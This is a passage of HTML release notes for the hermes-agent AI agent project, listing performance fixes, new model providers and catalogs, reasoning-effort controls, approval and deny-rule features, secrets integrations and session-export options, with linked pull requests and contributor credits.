<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" 